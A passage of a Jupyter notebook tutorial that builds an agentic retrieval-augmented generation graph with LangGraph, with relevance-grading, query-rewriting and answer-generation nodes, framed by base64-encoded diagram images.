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" + } + }, + "cell_type": "markdown", + "id": "dc949d42-8a34-4231-bff0-b8198975e2ce", + "metadata": {}, + "source": [ + "## Nodes and Edges\n", + "\n", + "We can lay out an agentic RAG graph like this:\n", + "\n", + "* The state is a set of messages\n", + "* Each node will update (append to) state\n", + "* Conditional edges decide which node to visit next\n", + "\n", + "![Screenshot 2024-02-14 at 3.43.58 PM.png](attachment:7ad1a116-28d7-473f-8cff-5f2efd0bf118.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "id": "278d1d83-dda6-4de4-bf8b-be9965c227fa", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "********************Prompt[rlm/rag-prompt]********************\n", + "================================\u001b[1m Human Message \u001b[0m=================================\n", + "\n", + "You are an assistant for question-answering tasks. Use the following pieces of retrieved context to answer the question. If you don't know the answer, just say that you don't know. Use three sentences maximum and keep the answer concise.\n", + "Question: \u001b[33;1m\u001b[1;3m{question}\u001b[0m \n", + "Context: \u001b[33;1m\u001b[1;3m{context}\u001b[0m \n", + "Answer:\n" + ] + } + ], + "source": [ + "from typing import Annotated, Literal, Sequence, TypedDict\n", + "\n", + "from langchain import hub\n", + "from langchain_core.messages import BaseMessage, HumanMessage\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "from langchain_core.prompts import PromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "from langgraph.prebuilt import tools_condition\n", + "\n", + "### Edges\n", + "\n", + "\n", + "def grade_documents(state) -> Literal[\"generate\", \"rewrite\"]:\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (messages): The current state\n", + "\n", + " Returns:\n", + " str: A decision for whether the documents are relevant or not\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK RELEVANCE---\")\n", + "\n", + " # Data model\n", + " class grade(BaseModel):\n", + " \"\"\"Binary score for relevance check.\"\"\"\n", + "\n", + " binary_score: str = Field(description=\"Relevance score 'yes' or 'no'\")\n", + "\n", + " # LLM\n", + " model = ChatOpenAI(temperature=0, model=\"gpt-4o\", streaming=True)\n", + "\n", + " # LLM with tool and validation\n", + " llm_with_tool = model.with_structured_output(grade)\n", + "\n", + " # Prompt\n", + " prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " Here is the retrieved document: \\n\\n {context} \\n\\n\n", + " Here is the user question: {question} \\n\n", + " If the document contains keyword(s) or semantic meaning related to the user question, grade it as relevant. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.\"\"\",\n", + " input_variables=[\"context\", \"question\"],\n", + " )\n", + "\n", + " # Chain\n", + " chain = prompt | llm_with_tool\n", + "\n", + " messages = state[\"messages\"]\n", + " last_message = messages[-1]\n", + "\n", + " question = messages[0].content\n", + " docs = last_message.content\n", + "\n", + " scored_result = chain.invoke({\"question\": question, \"context\": docs})\n", + "\n", + " score = scored_result.binary_score\n", + "\n", + " if score == \"yes\":\n", + " print(\"---DECISION: DOCS RELEVANT---\")\n", + " return \"generate\"\n", + "\n", + " else:\n", + " print(\"---DECISION: DOCS NOT RELEVANT---\")\n", + " print(score)\n", + " return \"rewrite\"\n", + "\n", + "\n", + "### Nodes\n", + "\n", + "\n", + "def agent(state):\n", + " \"\"\"\n", + " Invokes the agent model to generate a response based on the current state. Given\n", + " the question, it will decide to retrieve using the retriever tool, or simply end.\n", + "\n", + " Args:\n", + " state (messages): The current state\n", + "\n", + " Returns:\n", + " dict: The updated state with the agent response appended to messages\n", + " \"\"\"\n", + " print(\"---CALL AGENT---\")\n", + " messages = state[\"messages\"]\n", + " model = ChatOpenAI(temperature=0, streaming=True, model=\"gpt-4-turbo\")\n", + " model = model.bind_tools(tools)\n", + " response = model.invoke(messages)\n", + " # We return a list, because this will get added to the existing list\n", + " return {\"messages\": [response]}\n", + "\n", + "\n", + "def rewrite(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (messages): The current state\n", + "\n", + " Returns:\n", + " dict: The updated state with re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " messages = state[\"messages\"]\n", + " question = messages[0].content\n", + "\n", + " msg = [\n", + " HumanMessage(\n", + " content=f\"\"\" \\n \n", + " Look at the input and try to reason about the underlying semantic intent / meaning. \\n \n", + " Here is the initial question:\n", + " \\n ------- \\n\n", + " {question} \n", + " \\n ------- \\n\n", + " Formulate an improved question: \"\"\",\n", + " )\n", + " ]\n", + "\n", + " # Grader\n", + " model = ChatOpenAI(temperature=0, model=\"gpt-4-0125-preview\", streaming=True)\n", + " response = model.invoke(msg)\n", + " return {\"messages\": [response]}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (messages): The current state\n", + "\n", + " Returns:\n", + " dict: The updated state with re-phrased question\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " messages = state[\"messages\"]\n", + " question = messages[0].content\n", + " last_message = messages[-1]\n", + "\n", + " docs = last_message.content\n", + "\n", + " # Prompt\n", + " prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + " # LLM\n", + " llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0, streaming=True)\n", + "\n", + " # Post-processing\n", + " def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + " # Chain\n", + " rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + " # Run\n", + " response = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + " return {\"messages\": [response]}\n", + "\n", + "\n", + "print(\"*\" * 20 + \"Prompt[rlm/rag-prompt]\" + \"*\" * 20)\n", + "prompt = hub.pull(\"rlm/rag-prompt\").pretty_print() # Show what the prompt looks like" + ] + }, + { + "cell_type": "markdown", + "id": "955882ef-7467-48db-ae51-de441f2fc3a7", + "metadata": {}, + "source": [ + "## Graph\n", + "\n", + "* Start with an agent, `call_model`\n", + "* Agent make a decision to call a function\n", + "* If so, then `action` to call tool (retriever)\n", + "* Then call agent with the tool output added to messages (`state`)" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "id": "8718a37f-83c2-4f16-9850-e61e0f49c3d4", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "from langgraph.prebuilt import ToolNode\n", + "\n", + "# Define a new graph\n", + "workflow = StateGraph(AgentState)\n", + "\n", + "# Define the nodes we will cycle between\n", + "workflow.add_node(\"agent\", agent) # agent\n", + "retrieve = ToolNode([retriever_tool])\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieval\n", + "workflow.add_node(\"rewrite\", rewrite) # Re-writing the question\n", + "workflow.add_node(\n", + " \"generate\", generate\n", + ") # Generating a response after we know the documents are relevant\n", + "# Call agent node to decide to retrieve or not\n", + "workflow.add_edge(START, \"agent\")\n", + "\n", + "# Decide whether to retrieve\n", + "workflow.add_conditional_edges(\n", + " \"agent\",\n", + " # Assess agent decision\n", + " tools_condition,\n", + " {\n", + " # Translate the condition outputs to nodes in our graph\n", + " \"tools\": \"retrieve\",\n", + " END: END,\n", + " },\n", + ")\n", + "\n", + "# Edges taken after the `action` node is called.\n", + "workflow.add_conditional_edges(\n", + " \"retrieve\",\n", + " # Assess agent decision\n", + " grade_documents,\n", + ")\n", + "workflow.add_edge(\"generate\", END)\n", + "workflow.add_edge(\"rewrite\", \"agent\")\n", + "\n", + "# Compile\n", + "graph = workflow.compile()" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "id": "7b5a1d35", + "metadata": {}, + "outputs": [ + { + "data": { + "image/jpeg": "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